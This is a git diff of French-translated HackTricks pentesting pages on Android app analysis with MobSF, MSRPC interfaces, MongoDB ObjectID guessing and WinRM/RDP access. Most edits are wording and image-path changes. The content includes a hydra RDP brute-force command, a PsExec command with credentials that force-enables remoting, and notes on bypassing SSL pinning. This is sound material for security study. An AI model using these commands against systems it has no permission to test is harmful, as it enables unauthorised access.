||||
|
@ -565,17 +565,17 @@ Vous connaissez probablement ce type de vulnérabilités sur le Web. Vous devez
|
|||
* **Injection SQL :** Lors de la gestion de requêtes dynamiques ou de Content-Providers, assurez-vous d'utiliser des requêtes paramétrées.
|
||||
* **Injection JavaScript (XSS) :** Vérifiez que le support JavaScript et Plugin est désactivé pour tous les WebViews (désactivé par défaut). [Plus d'infos ici](webview-attacks.md#javascript-enabled).
|
||||
* **Inclusion de Fichiers Locaux :** Les WebViews ne devraient pas avoir accès au système de fichiers (activé par défaut) - `(webview.getSettings().setAllowFileAccess(false);)`. [Plus d'infos ici](webview-attacks.md#javascript-enabled).
|
||||
* **Cookies éternels :** Dans plusieurs cas, lorsque l'application Android termine la session, le cookie n'est pas révoqué ou peut même être enregistré sur le disque.
|
||||
* **Cookies éternels :** Dans plusieurs cas, lorsque l'application android termine la session, le cookie n'est pas révoqué ou pourrait même être enregistré sur le disque.
|
||||
* [**Drapeau Sécurisé** dans les cookies](../../pentesting-web/hacking-with-cookies/#cookies-flags)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking.
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking.
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel.
|
||||
|
@ -598,17 +598,17 @@ Restez informé des nouvelles primes de bugs lancées et des mises à jour cruci
|
|||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **and Windows**(apx) applications (_Les applications Windows doivent être analysées depuis un MobSF installé sur un hôte Windows_).\
|
||||
Notice that MobSF can analyse **Android**(apk)**, IOS**(ipa) **et Windows**(apx) applications (_Les applications Windows doivent être analysées depuis un MobSF installé sur un hôte Windows_).\
|
||||
Also, if you create a **ZIP** file with the source code if an **Android** or an **IOS** app (allez dans le dossier racine de l'application, sélectionnez tout et créez un fichier ZIP), it will be able to analyse it also.
|
||||
|
||||
MobSF also allows you to **diff/Compare** analysis and to integrate **VirusTotal** (vous devrez définir votre clé API dans _MobSF/settings.py_ et l'activer : `VT_ENABLED = TRUE` `VT_API_KEY = <Votre clé API>` `VT_UPLOAD = TRUE`). You can also set `VT_UPLOAD` to `False`, then the **hash** will be **upload** instead of the file.
|
||||
|
||||
### Assisted Dynamic analysis with MobSF
|
||||
|
||||
**MobSF** can also be very helpful for **dynamic analysis** in **Android**, but in that case you will need to install MobSF and **genymotion** in your host (une VM ou Docker ne fonctionnera pas). _Note : Vous devez **d'abord démarrer une VM dans genymotion** et **ensuite MobSF.**_\
|
||||
The **MobSF dynamic analyser** can:
|
||||
**MobSF** peut également être très utile pour **l'analyse dynamique** dans **Android**, mais dans ce cas, vous devrez installer MobSF et **genymotion** sur votre hôte (une VM ou Docker ne fonctionnera pas). _Remarque : Vous devez **d'abord démarrer une VM dans genymotion** et **ensuite MobSF.**_\
|
||||
Le **MobSF dynamic analyser** peut :
|
||||
|
||||
* **Dump application data** (URLs, logs, clipboard, screenshots made by you, screenshots made by "**Exported Activity Tester**", emails, SQLite databases, XML files, and other created files). All of this is done automatically except for the screenshots, you need to press when you want a screenshot or you need to press "**Exported Activity Tester**" to obtain screenshots of all the exported activities.
|
||||
* **Dump application data** (URLs, logs, presse-papiers, captures d'écran réalisées par vous, captures d'écran réalisées par "**Exported Activity Tester**", e-mails, bases de données SQLite, fichiers XML et autres fichiers créés). Tout cela est fait automatiquement sauf pour les captures d'écran, vous devez appuyer lorsque vous voulez une capture d'écran ou vous devez appuyer sur "**Exported Activity Tester**" pour obtenir des captures d'écran de toutes les activités exportées.
|
||||
* Capture **HTTPS traffic**
|
||||
* Use **Frida** to obtain **runtime** **information**
|
||||
|
||||
|
@ -616,8 +616,8 @@ From android **versions > 5**, it will **automatically start Frida** and will se
|
|||
|
||||
**Frida**
|
||||
|
||||
By default, it will also use some Frida Scripts to **bypass SSL pinning**, **root detection** and **debugger detection** and to **monitor interesting APIs**.\
|
||||
MobSF can also **invoke exported activities**, grab **screenshots** of them and **save** them for the report.
|
||||
Par défaut, il utilisera également certains scripts Frida pour **contourner le SSL pinning**, **la détection de root** et **la détection de débogueur** et pour **surveiller des API intéressantes**.\
|
||||
MobSF peut également **invoker des activités exportées**, prendre des **captures d'écran** de celles-ci et **les enregistrer** pour le rapport.
|
||||
|
||||
To **start** the dynamic testing press the green bottom: "**Start Instrumentation**". Press the "**Frida Live Logs**" to see the logs generated by the Frida scripts and "**Live API Monitor**" to see all the invocation to hooked methods, arguments passed and returned values (this will appear after pressing "Start Instrumentation").\
|
||||
MobSF also allows you to load your own **Frida scripts** (to send the results of your Friday scripts to MobSF use the function `send()`). It also has **several pre-written scripts** you can load (you can add more in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), just **select them**, press "**Load**" and press "**Start Instrumentation**" (you will be able to see the logs of that scripts inside "**Frida Live Logs**").
|
||||
|
@ -626,18 +626,18 @@ MobSF also allows you to load your own **Frida scripts** (to send the results of
|
|||
|
||||
Moreover, you have some Auxiliary Frida functionalities:
|
||||
|
||||
* **Enumerate Loaded Classes**: It will print all the loaded classes
|
||||
* **Capture Strings**: It will print all the capture strings while using the application (super noisy)
|
||||
* **Capture String Comparisons**: Could be very useful. It will **show the 2 strings being compared** and if the result was True or False.
|
||||
* **Enumerate Class Methods**: Put the class name (like "java.io.File") and it will print all the methods of the class.
|
||||
* **Search Class Pattern**: Search classes by pattern
|
||||
* **Trace Class Methods**: **Trace** a **whole class** (see inputs and outputs of all methods of th class). Remember that by default MobSF traces several interesting Android Api methods.
|
||||
* **Enumerate Loaded Classes**: Il imprimera toutes les classes chargées
|
||||
* **Capture Strings**: Il imprimera toutes les chaînes capturées lors de l'utilisation de l'application (très bruyant)
|
||||
* **Capture String Comparisons**: Pourrait être très utile. Il **montrera les 2 chaînes comparées** et si le résultat était vrai ou faux.
|
||||
* **Enumerate Class Methods**: Mettez le nom de la classe (comme "java.io.File") et il imprimera toutes les méthodes de la classe.
|
||||
* **Search Class Pattern**: Rechercher des classes par motif
|
||||
* **Trace Class Methods**: **Tracer** une **classe entière** (voir les entrées et sorties de toutes les méthodes de la classe). N'oubliez pas qu'en default MobSF trace plusieurs méthodes API Android intéressantes.
|
||||
|
||||
Once you have selected the auxiliary module you want to use you need to press "**Start Intrumentation**" and you will see all the outputs in "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf also brings you a shell with some **adb** commands, **MobSF commands**, and common **shell** **commands** at the bottom of the dynamic analysis page. Some interesting commands:
|
||||
Mobsf vous apporte également un shell avec quelques commandes **adb**, des **commandes MobSF**, et des **commandes shell** courantes en bas de la page d'analyse dynamique. Some interesting commands:
|
||||
```bash
|
||||
help
|
||||
shell ls
|
||||
|
@ -648,10 +648,10 @@ receivers
|
|||
```
|
||||
**Outils HTTP**
|
||||
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé en bas sur "**HTTP(S) Traffic**" ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur le bouton "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools, sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzzer les requêtes http** et rechercher des vulnérabilités.
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz les requêtes http** et rechercher des vulnérabilités.
|
||||
|
||||
{% hint style="info" %}
|
||||
Après avoir effectué une analyse dynamique avec MobSF, les paramètres du proxy peuvent être mal configurés et vous ne pourrez pas les corriger depuis l'interface graphique. Vous pouvez corriger les paramètres du proxy en faisant :
|
||||
|
@ -687,7 +687,7 @@ qark --java path/to/specific/java/file.java
|
|||
* Analyse AndroidManifest.xml pour des vulnérabilités et comportements courants
|
||||
* Analyse statique du code source pour des vulnérabilités et comportements courants
|
||||
* Informations sur l'appareil
|
||||
* et plus
|
||||
* et plus encore
|
||||
```bash
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
|
@ -735,7 +735,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
|
|||
|
||||
![](<../../.gitbook/assets/image (595).png>)
|
||||
|
||||
**MARA** est un **M**obile **A**pplication **R**everse engineering et **A**nalysis Framework. C'est un outil qui regroupe des outils couramment utilisés pour l'ingénierie inverse et l'analyse des applications mobiles, afin d'assister dans le test des applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité.
|
||||
**MARA** est un **M**obile **A**pplication **R**everse engineering et **A**nalysis Framework. C'est un outil qui regroupe des outils d'ingénierie inverse et d'analyse d'applications mobiles couramment utilisés, pour aider à tester les applications mobiles contre les menaces de sécurité mobile OWASP. Son objectif est de rendre cette tâche plus facile et plus conviviale pour les développeurs d'applications mobiles et les professionnels de la sécurité.
|
||||
|
||||
Il est capable de :
|
||||
|
||||
|
@ -756,7 +756,7 @@ Notez qu'en fonction du service et de la configuration que vous utilisez pour ob
|
|||
|
||||
### [ProGuard](https://en.wikipedia.org/wiki/ProGuard\_\(software\))
|
||||
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) : **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la GNU General Public License, version 2.
|
||||
De [Wikipedia](https://en.wikipedia.org/wiki/ProGuard\_\(software\)) : **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la licence publique générale GNU, version 2.
|
||||
|
||||
ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la construction de l'application en mode release.
|
||||
|
||||
|
@ -780,7 +780,7 @@ Vous pouvez télécharger un APK obfusqué sur leur plateforme.
|
|||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
|
||||
C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe quel type spécifique d'obfuscation est utilisé.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
@ -794,7 +794,7 @@ APKiD vous donne des informations sur **comment un APK a été créé**. Il iden
|
|||
|
||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
|
||||
|
||||
AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut la collection des derniers frameworks, tutoriels et laboratoires de différents geeks de la sécurité et chercheurs pour l'ingénierie inverse et l'analyse des malwares.
|
||||
AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate qui inclut la collection des derniers frameworks, tutoriels et laboratoires de différents geeks de la sécurité et chercheurs pour l'ingénierie inverse et l'analyse de malwares.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -810,7 +810,7 @@ AndroL4b est une machine virtuelle de sécurité Android basée sur ubuntu-mate
|
|||
* [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
|
||||
* [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Informations de base
|
||||
|
||||
Le protocole Microsoft Remote Procedure Call (MSRPC), un modèle client-serveur permettant à un programme de demander un service à un programme situé sur un autre ordinateur sans comprendre les spécificités du réseau, a été initialement dérivé de logiciels open-source et développé et protégé par Microsoft.
|
||||
Le protocole Microsoft Remote Procedure Call (MSRPC), un modèle client-serveur permettant à un programme de demander un service à un programme situé sur un autre ordinateur sans comprendre les spécificités du réseau, a été initialement dérivé d'un logiciel open-source et développé et protégé par Microsoft.
|
||||
|
||||
Le mappage des points de terminaison RPC peut être accessible via le port TCP et UDP 135, SMB sur TCP 139 et 445 (avec une session nulle ou authentifiée), et en tant que service web sur le port TCP 593.
|
||||
```
|
||||
|
@ -66,36 +66,36 @@ Tous les options sauf `tcp_dcerpc_auditor` sont spécifiquement conçues pour ci
|
|||
|
||||
#### Interfaces RPC notables
|
||||
|
||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ab
|
||||
* **Named Pipe**: `\pipe\lsarpc`
|
||||
* **Description**: Interface LSA, utilisée pour énumérer les utilisateurs.
|
||||
* **IFID**: 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
* **Named Pipe**: `\pipe\lsarpc`
|
||||
* **Description**: Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance.
|
||||
* **IFID**: 12345778-1234-abcd-ef00-0123456789ac
|
||||
* **Named Pipe**: `\pipe\samr`
|
||||
* **Description**: Interface LSA SAMR, utilisée pour accéder aux éléments de la base de données SAM publique (par exemple, les noms d'utilisateur) et pour forcer les mots de passe des utilisateurs, indépendamment de la politique de verrouillage de compte.
|
||||
* **IFID**: 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
* **Named Pipe**: `\pipe\atsvc`
|
||||
* **Description**: Planificateur de tâches, utilisé pour exécuter des commandes à distance.
|
||||
* **IFID**: 338cd001-2244-31f1-aaaa-900038001003
|
||||
* **Named Pipe**: `\pipe\winreg`
|
||||
* **Description**: Service de registre à distance, utilisé pour accéder et modifier le registre système.
|
||||
* **IFID**: 367abb81-9844-35f1-ad32-98f038001003
|
||||
* **Named Pipe**: `\pipe\svcctl`
|
||||
* **Description**: Gestionnaire de contrôle de service et services de serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes.
|
||||
* **IFID**: 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
* **Named Pipe**: `\pipe\srvsvc`
|
||||
* **Description**: Gestionnaire de contrôle de service et services de serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes.
|
||||
* **IFID**: 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
* **Named Pipe**: `\pipe\epmapper`
|
||||
* **Description**: Interface DCOM, utilisée pour le craquage de mots de passe par force brute et la collecte d'informations via WM.
|
||||
* **IFID** : 12345778-1234-abcd-ef00-0123456789ab
|
||||
* **Named Pipe** : `\pipe\lsarpc`
|
||||
* **Description** : Interface LSA, utilisée pour énumérer les utilisateurs.
|
||||
* **IFID** : 3919286a-b10c-11d0-9ba8-00c04fd92ef5
|
||||
* **Named Pipe** : `\pipe\lsarpc`
|
||||
* **Description** : Interface LSA Directory Services (DS), utilisée pour énumérer les domaines et les relations de confiance.
|
||||
* **IFID** : 12345778-1234-abcd-ef00-0123456789ac
|
||||
* **Named Pipe** : `\pipe\samr`
|
||||
* **Description** : Interface LSA SAMR, utilisée pour accéder aux éléments de la base de données SAM publique (par exemple, les noms d'utilisateur) et pour forcer les mots de passe des utilisateurs, indépendamment de la politique de verrouillage de compte.
|
||||
* **IFID** : 1ff70682-0a51-30e8-076d-740be8cee98b
|
||||
* **Named Pipe** : `\pipe\atsvc`
|
||||
* **Description** : Planificateur de tâches, utilisé pour exécuter des commandes à distance.
|
||||
* **IFID** : 338cd001-2244-31f1-aaaa-900038001003
|
||||
* **Named Pipe** : `\pipe\winreg`
|
||||
* **Description** : Service de registre à distance, utilisé pour accéder et modifier le registre système.
|
||||
* **IFID** : 367abb81-9844-35f1-ad32-98f038001003
|
||||
* **Named Pipe** : `\pipe\svcctl`
|
||||
* **Description** : Gestionnaire de contrôle de service et services serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes.
|
||||
* **IFID** : 4b324fc8-1670-01d3-1278-5a47bf6ee188
|
||||
* **Named Pipe** : `\pipe\srvsvc`
|
||||
* **Description** : Gestionnaire de contrôle de service et services serveur, utilisés pour démarrer et arrêter des services à distance et exécuter des commandes.
|
||||
* **IFID** : 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57
|
||||
* **Named Pipe** : `\pipe\epmapper`
|
||||
* **Description** : Interface DCOM, utilisée pour le craquage de mots de passe par force brute et la collecte d'informations via WM.
|
||||
|
||||
### Identification des adresses IP
|
||||
|
||||
En utilisant [https://github.com/mubix/IOXIDResolver](https://github.com/mubix/IOXIDResolver), provenant de [Airbus research](https://www.cyber.airbus.com/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/), il est possible d'abuser de la méthode _**ServerAlive2**_ à l'intérieur de l'interface _**IOXIDResolver**_.
|
||||
|
||||
Cette méthode a été utilisée pour obtenir des informations sur l'interface sous forme d'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour le rapport 0xdf APT, il inclut une méthode alternative utilisant rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus).
|
||||
Cette méthode a été utilisée pour obtenir des informations sur l'interface sous forme d'adresse **IPv6** de la boîte HTB _APT_. Voir [ici](https://0xdf.gitlab.io/2021/04/10/htb-apt.html) pour le rapport 0xdf APT, qui inclut une méthode alternative utilisant rpcmap.py de [Impacket](https://github.com/SecureAuthCorp/impacket/) avec _stringbinding_ (voir ci-dessus).
|
||||
|
||||
### Exécution d'un RCE avec des identifiants valides
|
||||
|
||||
|
@ -117,14 +117,14 @@ Le **rpcdump.exe** de [rpctools](https://resources.oreilly.com/examples/97805965
|
|||
* [https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/](https://www.cyber.airbus.com/the-oxid-resolver-part-2-accessing-a-remote-object-inside-dcom/)
|
||||
* [https://0xffsec.com/handbook/services/msrpc/](https://0xffsec.com/handbook/services/msrpc/)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hacking en Temps Réel**\
|
||||
**Actualités de Hack en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
||||
**Dernières Annonces**\
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -97,20 +97,20 @@ grep "auth.*true" /opt/bitnami/mongodb/mongodb.conf | grep -v "^#\|noauth" #Not
|
|||
|
||||
Exemple [d'ici](https://techkranti.com/idor-through-mongodb-object-ids-prediction/).
|
||||
|
||||
Les ID d'Object Mongo sont des chaînes **hexadécimales de 12 octets** :
|
||||
Les ID d'objet Mongo sont des chaînes **hexadécimales de 12 octets** :
|
||||
|
||||
![http://techidiocy.com/\_id-objectid-in-mongodb/](../.gitbook/assets/id-and-ObjectIds-in-MongoDB.png)
|
||||
|
||||
Par exemple, voici comment nous pouvons décomposer un ID d'Object réel retourné par une application : 5f2459ac9fa6dc2500314019
|
||||
Par exemple, voici comment nous pouvons décomposer un ID d'objet réel renvoyé par une application : 5f2459ac9fa6dc2500314019
|
||||
|
||||
1. 5f2459ac : 1596217772 en décimal = Vendredi, 31 Juillet 2020 17:49:32
|
||||
2. 9fa6dc : Identifiant de machine
|
||||
3. 2500 : ID de processus
|
||||
4. 314019 : Un compteur incrémental
|
||||
|
||||
Parmi les éléments ci-dessus, l'identifiant de machine restera le même tant que la base de données fonctionne sur la même machine physique/virtuelle. L'ID de processus ne changera que si le processus MongoDB est redémarré. L'horodatage sera mis à jour chaque seconde. Le seul défi pour deviner les ID d'Object en incrémentant simplement les valeurs du compteur et de l'horodatage, est le fait que Mongo DB génère des ID d'Object et les attribue au niveau système.
|
||||
Parmi les éléments ci-dessus, l'identifiant de machine restera le même tant que la base de données fonctionne sur la même machine physique/virtuelle. L'ID de processus ne changera que si le processus MongoDB est redémarré. L'horodatage sera mis à jour chaque seconde. Le seul défi pour deviner les ID d'objet en incrémentant simplement les valeurs du compteur et de l'horodatage est le fait que Mongo DB génère des ID d'objet et les attribue au niveau système.
|
||||
|
||||
L'outil [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), donné un ID d'Object de départ (vous pouvez créer un compte et obtenir un ID de départ), renvoie environ 1000 ID d'Object probables qui auraient pu être attribués aux objets suivants, donc vous devez juste les bruteforcer.
|
||||
L'outil [https://github.com/andresriancho/mongo-objectid-predict](https://github.com/andresriancho/mongo-objectid-predict), donné un ID d'objet de départ (vous pouvez créer un compte et obtenir un ID de départ), renvoie environ 1000 ID d'objet probables qui pourraient avoir été attribués aux objets suivants, donc vous devez juste les bruteforcer.
|
||||
|
||||
## Post
|
||||
|
||||
|
@ -118,12 +118,12 @@ Si vous êtes root, vous pouvez **modifier** le fichier **mongodb.conf** afin qu
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
**Aperçus de Hacking**\
|
||||
Engagez-vous avec du contenu qui explore le frisson et les défis du hacking
|
||||
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking
|
||||
|
||||
**Actualités de Hack en Temps Réel**\
|
||||
Restez à jour avec le monde du hacking en rapide évolution grâce à des nouvelles et des aperçus en temps réel
|
||||
|
@ -142,7 +142,7 @@ Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt=
|
|||
<summary>Soutenir HackTricks</summary>
|
||||
|
||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez des astuces de hacking en soumettant des PRs aux dépôts github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) est mis en avant comme un **protocole par Microsoft** qui permet la **gestion à distance des systèmes Windows** via HTTP(S), en utilisant SOAP dans le processus. Il est fondamentalement alimenté par WMI, se présentant comme une interface basée sur HTTP pour les opérations WMI.
|
||||
[Windows Remote Management (WinRM)](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) est mis en avant comme un **protocole de Microsoft** qui permet la **gestion à distance des systèmes Windows** via HTTP(S), en utilisant SOAP dans le processus. Il est fondamentalement alimenté par WMI, se présentant comme une interface basée sur HTTP pour les opérations WMI.
|
||||
|
||||
La présence de WinRM sur une machine permet une administration à distance simple via PowerShell, semblable à la façon dont SSH fonctionne pour d'autres systèmes d'exploitation. Pour déterminer si WinRM est opérationnel, il est recommandé de vérifier l'ouverture de ports spécifiques :
|
||||
|
||||
|
@ -117,7 +117,7 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New
|
|||
|
||||
### **Forcer l'ouverture de WinRM**
|
||||
|
||||
Pour utiliser PS Remoting et WinRM mais que l'ordinateur n'est pas configuré, vous pouvez l'activer avec :
|
||||
Pour utiliser PS Remoting et WinRM mais que l'ordinateur n'est pas configuré, vous pourriez l'activer avec :
|
||||
```powershell
|
||||
.\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
|
||||
```
|
||||
|
@ -145,12 +145,12 @@ Si vous trouvez l'erreur suivante :
|
|||
|
||||
`enter-pssession : Connecting to remote server 10.10.10.175 failed with the following error message : The WinRM client cannot process the request. If the authentication scheme is different from Kerberos, or if the client computer is not joined to a domain, then HTTPS transport must be used or the destination machine must be added to the TrustedHosts configuration setting. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. You can get more information about that by running the following command: winrm help config. For more information, see the about_Remote_Troubleshooting Help topic.`
|
||||
|
||||
Essayez sur le client (info provenant de [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
Essayez sur le client (info de [ici](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)) :
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
@ -304,7 +304,7 @@ Name: Hydra Brute Force
|
|||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de bugs !
|
||||
|
||||
|
